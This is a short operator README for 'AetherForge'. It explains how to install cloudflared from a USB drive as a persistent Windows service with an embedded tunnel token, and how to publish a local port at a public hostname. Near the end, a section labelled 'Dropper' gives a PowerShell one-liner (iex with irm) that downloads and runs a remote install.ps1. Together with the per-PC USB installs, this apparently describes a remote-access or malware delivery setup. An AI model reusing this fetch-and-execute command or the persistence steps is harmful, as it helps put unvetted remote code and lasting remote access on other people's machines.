========================================================
  AetherForge — Cloudflare Tunnel
  https://killa.thetempleofdoom.com
========================================================

FIRST RUN (once per PC)
-----------------------
1. Double-click LAUNCH.bat
2. Approve the UAC prompt when asked — tunnel install needs Administrator
3. LAUNCH.bat installs cloudflared to:
     C:\ProgramData\AetherForge\bin\cloudflared.exe
   (stable path on the PC, not on the USB drive)
4. Registers the Windows service "cloudflared" with your tunnel token
5. Starts the service — connector shows Healthy in Cloudflare Zero Trust

You can also run manually (as Administrator):
  cloudflare\install-tunnel.bat

VERIFY ON THE PC
----------------
  sc query cloudflared

Look for STATE : 4  RUNNING

Cloudflare dashboard:
  Zero Trust → Networks → Tunnels → your tunnel → Healthy connector

Public hostname route (required):
  killa.thetempleofdoom.com  →  http://localhost:8989

End-to-end test (AetherForge must be running on :8989):
  https://killa.thetempleofdoom.com

TROUBLESHOOTING
---------------
- No [CF] lines in LAUNCH? Old USB copy — re-copy usb\ from pack-usb.bat
- sc query shows nothing / service missing? Run LAUNCH.bat as Administrator once
- Service exists but not RUNNING?  net start cloudflared
- Public URL 502? AetherForge not listening on localhost:8989
- Tunnel Healthy but no public URL? Add hostname route in Cloudflare dashboard

Dropper (after tunnel + server are up):
  iex (irm 'https://killa.thetempleofdoom.com/install.ps1')

credentials.json is NOT used — token is in install-tunnel.bat / LAUNCH.bat.

========================================================
